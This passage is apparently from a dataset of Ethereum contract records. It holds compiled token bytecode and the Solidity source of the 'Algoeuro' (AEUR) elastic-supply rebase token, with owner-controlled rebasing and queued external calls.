b5061032c610d78565b604051808260ff1660ff16815260200191505060405180910390f35b34801561035457600080fd5b5061035d610d8b565b005b34801561036b57600080fd5b506103aa600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e49565b604051808215151515815260200191505060405180910390f35b3480156103d057600080fd5b506103ef60048036038101908080359060200190929190505050610ffb565b604051808215151515815260200191505060405180910390f35b34801561041557600080fd5b5061041e6111df565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561045e578082015181840152602081019050610443565b50505050905090810190601f16801561048b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156104a557600080fd5b506104ae61127d565b604051808215151515815260200191505060405180910390f35b3480156104d457600080fd5b50610513600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611290565b604051808215151515815260200191505060405180910390f35b34801561053957600080fd5b5061056e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611556565b6040518082815260200191505060405180910390f35b34801561059057600080fd5b506105cf600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061156e565b604051808215151515815260200191505060405180910390f35b3480156105f557600080fd5b506105fe611946565b604051808215151515815260200191505060405180910390f35b34801561062457600080fd5b5061062d611a0d565b005b34801561063b57600080fd5b50610644611acd565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561069257600080fd5b5061069b611af2565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156106db5780820151818401526020810190506106c0565b50505050905090810190601f1680156107085780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561072257600080fd5b50610761600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611b90565b604051808215151515815260200191505060405180910390f35b34801561078757600080fd5b506107bc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611bdb565b604051808215151515815260200191505060405180910390f35b3480156107e257600080fd5b50610821600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611bfb565b604051808215151515815260200191505060405180910390f35b34801561084757600080fd5b5061089c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611e2b565b6040518082815260200191505060405180910390f35b3480156108be57600080fd5b506108ff600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050611e50565b604051808215151515815260200191505060405180910390f35b34801561092557600080fd5b5061095a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611f60565b005b600660009054906101000a900460ff1681565b60028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a055780601f106109da57610100808354040283529160200191610a05565b820191906000526020600020905b8154815290600101906020018083116109e857829003601f168201915b505050505081565b60008060149054906101000a900460ff16151515610a2a57600080fd5b604060048101600036905010151515610a4257600080fd5b82600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a3600191505092915050565b60055481565b60008060149054906101000a900460ff16151515610b5657600080fd5b606060048101600036905010151515610b6e57600080fd5b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610bc757600080fd5b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548311151515610c5257600080fd5b610ce183600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120b590919063ffffffff16565b600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d6c8585856120ce565b60019150509392505050565b600460009054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610de657600080fd5b600060149054906101000a900460ff161515610e0157600080fd5b60008060146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ea657600080fd5b600660009054906101000a900460ff16151515610ec257600080fd5b604060048101600036905010151515610eda57600080fd5b610f2c83600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461252790919063ffffffff16565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f848360055461252790919063ffffffff16565b6005819055508373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600191505092915050565b60008060149054906101000a900460ff1615151561101857600080fd5b60206004810160003690501015151561103057600080fd5b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561108957600080fd5b82600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515156110d757600080fd5b61112983600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120b590919063ffffffff16565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611181836005546120b590919063ffffffff16565b6005819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5846040518082815260200191505060405180910390a26001915050919050565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156112755780601f1061124a57610100808354040283529160200191611275565b820191906000526020600020905b81548152906001019060200180831161125857829003601f168201915b505050505081565b600060149054906101000a900460ff1681565b600080600060149054906101000a900460ff161515156112af57600080fd5b6040600481016000369050101515156112c757600080fd5b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549150818411156113d5576000600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611469565b6113e884836120b590919063ffffffff16565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a360019250505092915050565b60076020528060005260406000206000915090505481565b60008060149054906101000a900460ff1615151561158b57600080fd5b6040600481016000369050101515156115a357600080fd5b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156115fc57600080fd5b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561165557600080fd5b82600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515156116a357600080fd5b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054831115151561172e57600080fd5b61178083600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120b590919063ffffffff16565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061185283600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120b590919063ffffffff16565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118e7836005546120b590919063ffffffff16565b6005819055508373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5846040518082815260200191505060405180910390a2600191505092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156119a357600080fd5b600660009054906101000a900460ff161515156119bf57600080fd5b6001600660006101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611a6857600080fd5b600060149054906101000a900460ff16151515611a8457600080fd5b6001600060146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60038054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611b885780601f10611b5d57610100808354040283529160200191611b88565b820191906000526020600020905b815481529060010190602001808311611b6b57829003601f168201915b505050505081565b60008060149054906101000a900460ff16151515611bad57600080fd5b604060048101600036905010151515611bc557600080fd5b611bd03385856120ce565b600191505092915050565b60096020528060005260406000206000915054906101000a900460ff1681565b60008060149054906101000a900460ff16151515611c1857600080fd5b604060048101600036905010151515611c3057600080fd5b611cbf83600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461252790919063ffffffff16565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6008602052816000526040600020602052806000526040600020600091509150505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611ead57600080fd5b81600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508273ffffffffffffffffffffffffffffffffffffffff167f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a583604051808215151515815260200191505060405180910390a26001905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611fbb57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611ff757600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008282111515156120c357fe5b818303905092915050565b6000808373ffffffffffffffffffffffffffffffffffffffff16141515156120f557600080fd5b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561214e57600080fd5b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156121a757600080fd5b81600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515156121f557600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054011015151561228457600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401905061235982600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120b590919063ffffffff16565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123ee82600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461252790919063ffffffff16565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054011415156124bc57fe5b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a350505050565b6000818301905082811015151561253a57fe5b80905092915050565b6000808314156125565760009050612575565b818302905081838281151561256757fe5b0414151561257157fe5b8090505b929150505600a165627a7a723058207a96d58315049554b724ef4ac6093778e79950ae2a0e1850a2ab6eeb5bc7378c0029
{"success": true, "error": null, "results": {}}
3,821
0x3C144fC1B34fC1be809FbB2b194f460014E60113
pragma solidity 0.4.24; /* Algoeuro By Hybridverse Labs */ contract Initializable { bool private initialized; bool private initializing; modifier initializer() { require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized"); bool wasInitializing = initializing; initializing = true; initialized = true; _; initializing = wasInitializing; } function isConstructor() private view returns (bool) { uint256 cs; assembly { cs := extcodesize(address) } return cs == 0; } uint256[50] private ______gap; } contract Ownable is Initializable { address private _owner; uint256 private _ownershipLocked; event OwnershipLocked(address lockedOwner); event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); function initialize(address sender) internal initializer { _owner = sender; _ownershipLocked = 0; } function owner() public view returns(address) { return _owner; } modifier onlyOwner() { require(isOwner()); _; } function isOwner() public view returns(bool) { return msg.sender == _owner; } function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal { require(_ownershipLocked == 0); require(newOwner != address(0)); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } // Set _ownershipLocked flag to lock contract owner forever function lockOwnership() public onlyOwner { require(_ownershipLocked == 0); emit OwnershipLocked(_owner); _ownershipLocked = 1; } uint256[50] private ______gap; } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); event Transfer( address indexed from, address indexed to, uint256 value ); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract ERC20Detailed is Initializable, IERC20 { string private _name; string private _symbol; uint8 private _decimals; function initialize(string name, string symbol, uint8 decimals) internal initializer { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string) { return _name; } function symbol() public view returns(string) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } uint256[50] private ______gap; } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library SafeMathInt { int256 private constant MIN_INT256 = int256(1) << 255; int256 private constant MAX_INT256 = ~(int256(1) << 255); function mul(int256 a, int256 b) internal pure returns (int256) { int256 c = a * b; // Detect overflow when multiplying MIN_INT256 with -1 require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256)); require((b == 0) || (c / b == a)); return c; } function div(int256 a, int256 b) internal pure returns (int256) { // Prevent overflow when dividing MIN_INT256 by -1 require(b != -1 || a != MIN_INT256); // Solidity already throws when dividing by 0. return a / b; } function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a)); return c; } function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a)); return c; } function abs(int256 a) internal pure returns (int256) { require(a != MIN_INT256); return a < 0 ? -a : a; } } contract AEUR is Ownable, ERC20Detailed { using SafeMath for uint256; using SafeMathInt for int256; struct Transaction { bool enabled; address destination; bytes data; } event TransactionFailed(address indexed destination, uint index, bytes data); // Stable ordering is not guaranteed. Transaction[] public transactions; event LogRebase(uint256 indexed epoch, uint256 totalSupply); modifier validRecipient(address to) { require(to != address(0x0)); require(to != address(this)); _; } uint256 private constant DECIMALS = 9; uint256 private constant MAX_UINT256 = ~uint256(0); uint256 private constant INITIAL_FRAGMENTS_SUPPLY = 30 * 10**5 * 10**DECIMALS; // TOTAL_GONS is a multiple of INITIAL_FRAGMENTS_SUPPLY so that _gonsPerFragment is an integer. // Use the highest value that fits in a uint256 for max granularity. uint256 private constant TOTAL_GONS = MAX_UINT256 - (MAX_UINT256 % INITIAL_FRAGMENTS_SUPPLY); // MAX_SUPPLY = maximum integer < (sqrt(4*TOTAL_GONS + 1) - 1) / 2 uint256 private constant MAX_SUPPLY = ~uint128(0); // (2^128) - 1 uint256 private _epoch; uint256 private _totalSupply; uint256 private _gonsPerFragment; mapping(address => uint256) private _gonBalances; // This is denominated in Fragments, because the gons-fragments conversion might change before // it's fully paid. mapping (address => mapping (address => uint256)) private _allowedFragments; /** * @dev Notifies Fragments contract about a new rebase cycle. * @param supplyDelta The number of new fragment tokens to add into circulation via expansion. * @return The total number of fragments after the supply adjustment. */ function rebase(int256 supplyDelta) external onlyOwner returns (uint256) { _epoch = _epoch.add(1); if (supplyDelta == 0) { emit LogRebase(_epoch, _totalSupply); return _totalSupply; } if (supplyDelta < 0) { _totalSupply = _totalSupply.sub(uint256(supplyDelta.abs())); } else { _totalSupply = _totalSupply.add(uint256(supplyDelta)); } if (_totalSupply > MAX_SUPPLY) { _totalSupply = MAX_SUPPLY; } _gonsPerFragment = TOTAL_GONS.div(_totalSupply); emit LogRebase(_epoch, _totalSupply); for (uint i = 0; i < transactions.length; i++) { Transaction storage t = transactions[i]; if (t.enabled) { bool result = externalCall(t.destination, t.data); if (!result) { emit TransactionFailed(t.destination, i, t.data); revert("Transaction Failed"); } } } return _totalSupply; } constructor() public { Ownable.initialize(msg.sender); ERC20Detailed.initialize("Algoeuro", "AEUR", uint8(DECIMALS)); _totalSupply = INITIAL_FRAGMENTS_SUPPLY; _gonBalances[msg.sender] = TOTAL_GONS; _gonsPerFragment = TOTAL_GONS.div(_totalSupply); emit Transfer(address(0x0), msg.sender, _totalSupply); } function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address who) public view returns (uint256) { return _gonBalances[who].div(_gonsPerFragment); } function transfer(address to, uint256 value) public validRecipient(to) returns (bool) { uint256 merValue = value.mul(_gonsPerFragment); _gonBalances[msg.sender] = _gonBalances[msg.sender].sub(merValue); _gonBalances[to] = _gonBalances[to].add(merValue); emit Transfer(msg.sender, to, value); return true; } function allowance(address owner_, address spender) public view returns (uint256) { return _allowedFragments[owner_][spender]; } /** * @dev Transfer tokens from one address to another. * @param from The address you want to send tokens from. * @param to The address you want to transfer to. * @param value The amount of tokens to be transferred. */ function transferFrom(address from, address to, uint256 value) public validRecipient(to) returns (bool) { _allowedFragments[from][msg.sender] = _allowedFragments[from][msg.sender].sub(value); uint256 merValue = value.mul(_gonsPerFragment); _gonBalances[from] = _gonBalances[from].sub(merValue); _gonBalances[to] = _gonBalances[to].add(merValue); emit Transfer(from, to, value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of * msg.sender. This method is included for ERC20 compatibility. * increaseAllowance and decreaseAllowance should be used instead. * Changing an allowance with this method brings the risk that someone may transfer both * the old and the new allowance - if they are both greater than zero - if a transfer * transaction is mined before the later approve() call is mined. * * @param spender The address which will spend the funds. * @param value The amount of tokens to be spent. */ function approve(address spender, uint256 value) public returns (bool) { _allowedFragments[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _allowedFragments[msg.sender][spender] = _allowedFragments[msg.sender][spender].add(addedValue); emit Approval(msg.sender, spender, _allowedFragments[msg.sender][spender]); return true; } /** * @dev Decrease the amount of tokens that an owner has allowed to a spender. * * @param spender The address which will spend the funds. * @param subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { uint256 oldValue = _allowedFragments[msg.sender][spender]; if (subtractedValue >= oldValue) { _allowedFragments[msg.sender][spender] = 0; } else { _allowedFragments[msg.sender][spender] = oldValue.sub(subtractedValue); } emit Approval(msg.sender, spender, _allowedFragments[msg.sender][spender]); return true; } function addTransaction(address destination, bytes data) external onlyOwner { transactions.push(Transaction({ enabled: true, destination: destination, data: data })); } function removeTransaction(uint index) external onlyOwner { require(index < transactions.length, "index out of bounds"); if (index < transactions.length - 1) { transactions[index] = transactions[transactions.length - 1]; } transactions.length--; } function setTransactionEnabled(uint index, bool enabled) external onlyOwner { require(index < transactions.length, "index must be in range of stored tx list"); transactions[index].enabled = enabled; } function transactionsSize() external view returns (uint256) { return transactions.length; } function externalCall(address destination, bytes data) internal returns (bool) { bool result; assembly { // solhint-disable-line no-inline-assembly // "Allocate" memory for output // (0x40 is where "free memory" pointer is stored by convention) let outputAddress := mload(0x40) // First 32 bytes are the padded length of data, so exclude that let dataAddress := add(data, 32) result := call( // 34710 is the value that solidity is currently emitting // It includes callGas (700) + callVeryLow (3, to pay for SUB) // + callValueTransferGas (9000) + callNewAccountGas // (25000, in case the destination address does not exist and needs creating) sub(gas, 34710), destination, 0, // transfer value in wei dataAddress, mload(data), // Size of the input, in bytes. Stored in position 0 of the array. outputAddress, 0 // Output is ignored, therefore the output size is zero ) } return result; } }
0x60806040526004361061011d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630577c02b1461012257806306fdde0314610139578063095ea7b3146101c95780630ab114f91461022e578063126e19be1461026f57806318160ddd146102ca57806323b872dd146102f5578063313ce5671461037a57806339509351146103ab57806346c3bd1f146104105780636e9dde991461043d57806370a08231146104765780638da5cb5b146104cd5780638f32d59b1461052457806391d4ec181461055357806395d89b411461057e5780639ace38c21461060e578063a457c2d7146106f2578063a9059cbb14610757578063dd62ed3e146107bc578063f2fde38b14610833575b600080fd5b34801561012e57600080fd5b50610137610876565b005b34801561014557600080fd5b5061014e610929565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561018e578082015181840152602081019050610173565b50505050905090810190601f1680156101bb5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101d557600080fd5b50610214600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109cb565b604051808215151515815260200191505060405180910390f35b34801561023a57600080fd5b5061025960048036038101908080359060200190929190505050610abd565b6040518082815260200191505060405180910390f35b34801561027b57600080fd5b506102c8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001908201803590602001919091929391929390505050610edd565b005b3480156102d657600080fd5b506102df611010565b6040518082815260200191505060405180910390f35b34801561030157600080fd5b50610360600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061101a565b604051808215151515815260200191505060405180910390f35b34801561038657600080fd5b5061038f611357565b604051808260ff1660ff16815260200191505060405180910390f35b3480156103b757600080fd5b506103f6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061136e565b604051808215151515815260200191505060405180910390f35b34801561041c57600080fd5b5061043b6004803603810190808035906020019092919050505061156a565b005b34801561044957600080fd5b5061047460048036038101908080359060200190929190803515159060200190929190505050611724565b005b34801561048257600080fd5b506104b7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611815565b6040518082815260200191505060405180910390f35b3480156104d957600080fd5b506104e2611872565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561053057600080fd5b5061053961189c565b604051808215151515815260200191505060405180910390f35b34801561055f57600080fd5b506105686118f4565b6040518082815260200191505060405180910390f35b34801561058a57600080fd5b50610593611901565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105d35780820151818401526020810190506105b8565b50505050905090810190601f1680156106005780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561061a57600080fd5b50610639600480360381019080803590602001909291905050506119a3565b60405180841515151581526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b838110156106b557808201518184015260208101905061069a565b50505050905090810190601f1680156106e25780820380516001836020036101000a031916815260200191505b5094505050505060405180910390f35b3480156106fe57600080fd5b5061073d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611aa1565b604051808215151515815260200191505060405180910390f35b34801561076357600080fd5b506107a2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611d33565b604051808215151515815260200191505060405180910390f35b3480156107c857600080fd5b5061081d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611f60565b6040518082815260200191505060405180910390f35b34801561083f57600080fd5b50610874600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611fe7565b005b61087e61189c565b151561088957600080fd5b600060345414151561089a57600080fd5b7f88edfb4ea96673000ad101b18d1c7dbd727c5d92217c8d0b9966f2aaf77e93f4603360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a16001603481905550565b606060678054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109c15780601f10610996576101008083540402835291602001916109c1565b820191906000526020600020905b8154815290600101906020018083116109a457829003601f168201915b5050505050905090565b60008160a160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffff